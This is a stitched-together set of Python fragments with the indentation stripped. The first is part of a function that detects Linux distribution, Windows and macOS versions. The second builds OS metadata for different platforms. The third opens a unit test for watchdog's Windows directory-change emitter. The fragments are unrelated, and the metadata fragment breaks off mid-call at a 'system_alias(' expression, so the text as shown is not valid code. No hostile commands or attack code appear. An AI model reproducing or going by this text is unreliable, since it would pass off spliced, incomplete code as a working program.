elif d[1].startswith('7.') or d[1].startswith('wheezy'):
distro_version = DistroVersion.DEBIAN_WHEEZY
elif d[1].startswith('8.') or d[1].startswith('jessie'):
distro_version = DistroVersion.DEBIAN_JESSIE
elif d[1].startswith('stretch'):
distro_version = DistroVersion.DEBIAN_STRETCH
else:
raise FatalError("Distribution '%s' not supported" % str(d))
elif d[0] in [
'RedHat', 'Fedora', 'CentOS',
'Red Hat Enterprise Linux Server', 'CentOS Linux'
]:
distro = Distro.REDHAT
if d[1] == '16':
distro_version = DistroVersion.FEDORA_16
elif d[1] == '17':
distro_version = DistroVersion.FEDORA_17
elif d[1] == '18':
distro_version = DistroVersion.FEDORA_18
elif d[1] == '19':
distro_version = DistroVersion.FEDORA_19
elif d[1] == '20':
distro_version = DistroVersion.FEDORA_20
elif d[1] == '21':
distro_version = DistroVersion.FEDORA_21
elif d[1] == '22':
distro_version = DistroVersion.FEDORA_22
elif d[1].startswith('6.'):
distro_version = DistroVersion.REDHAT_6
elif d[1].startswith('7.'):
distro_version = DistroVersion.REDHAT_7
else:
# FIXME Fill this
raise FatalError("Distribution '%s' not supported" % str(d))
elif d[0].strip() in ['openSUSE']:
distro = Distro.SUSE
if d[1] == '12.1':
distro_version = DistroVersion.OPENSUSE_12_1
elif d[1] == '12.2':
distro_version = DistroVersion.OPENSUSE_12_2
elif d[1] == '12.3':
distro_version = DistroVersion.OPENSUSE_12_3
else:
# FIXME Fill this
raise FatalError("Distribution OpenSuse '%s' "
"not supported" % str(d))
elif d[0].strip() in ['arch']:
distro = Distro.ARCH
distro_version = DistroVersion.ARCH_ROLLING
else:
raise FatalError("Distribution '%s' not supported" % str(d))
elif platform == Platform.WINDOWS:
distro = Distro.WINDOWS
win32_ver = pplatform.win32_ver()[0]
dmap = {
'xp': DistroVersion.WINDOWS_XP,
'vista': DistroVersion.WINDOWS_VISTA,
'7': DistroVersion.WINDOWS_7,
'post2008Server': DistroVersion.WINDOWS_8,
'8': DistroVersion.WINDOWS_8
}
if win32_ver in dmap:
distro_version = dmap[win32_ver]
else:
raise FatalError("Windows version '%s' not supported" % win32_ver)
elif platform == Platform.DARWIN:
distro = Distro.OS_X
ver = pplatform.mac_ver()[0]
if ver.startswith('10.10'):
distro_version = DistroVersion.OS_X_YOSEMITE
elif ver.startswith('10.9'):
distro_version = DistroVersion.OS_X_MAVERICKS
elif ver.startswith('10.8'):
distro_version = DistroVersion.OS_X_MOUNTAIN_LION
else:
raise FatalError("Mac version %s not supported" % ver)
num_of_cpus = determine_num_of_cpus()
return platform, arch, distro, distro_version, num_of_cpus
_METADATA['os'] = SON([
('type', platform.system()),
('name', platform.system()),
('architecture', platform.machine()),
# (mac|i|tv)OS(X) version (e.g. 10.11.6) instead of darwin
# kernel version.
('version', platform.mac_ver()[0])
])
elif sys.platform == 'win32':
_METADATA['os'] = SON([
('type', platform.system()),
# "Windows XP", "Windows 7", "Windows 10", etc.
('name', ' '.join((platform.system(), platform.release()))),
('architecture', platform.machine()),
# Windows patch level (e.g. 5.1.2600-SP3)
('version', '-'.join(platform.win32_ver()[1:3]))
])
elif sys.platform.startswith('java'):
_name, _ver, _arch = platform.java_ver()[-1]
_METADATA['os'] = SON([
# Linux, Windows 7, Mac OS X, etc.
('type', _name),
('name', _name),
# x86, x86_64, AMD64, etc.
('architecture', _arch),
# Linux kernel version, OSX version, etc.
('version', _ver)
])
else:
# Get potential alias (e.g. SunOS 5.11 becomes Solaris 2.11)
_aliased = platform.system_alias(
"""
Test for Windows read directory changes emitter.
"""
import platform
from Queue import Queue
from watchdog.tests import mk, WatchdogTestCase
# read_directory_changes is only supported on Windows.
if WatchdogTestCase.os_family != 'nt':
raise WatchdogTestCase.skipTest('Windows specific.')
windows_signature = platform.win32_ver()
windows_major_version = int(windows_signature[1].split('.')[0])
if windows_major_version < 6:
raise WatchdogTestCase.skipTest('2008 and above')
from watchdog.events import EVENT_TYPE_CREATED
from watchdog.observers.read_directory_changes import WindowsApiEmitter
from watchdog.tests.observers.emitter_mixin import EmitterSystemMixin
class TestWindowsApiEmitter(WatchdogTestCase, EmitterSystemMixin):
"""
Unit tests for WindowsApiEmitter.
"""
def setUp(self):
super(TestWindowsApiEmitter, self).setUp()
self.emitter_queue = Queue()
# Configure emitter for temp folder.
self.sut = self.makeEmitter()
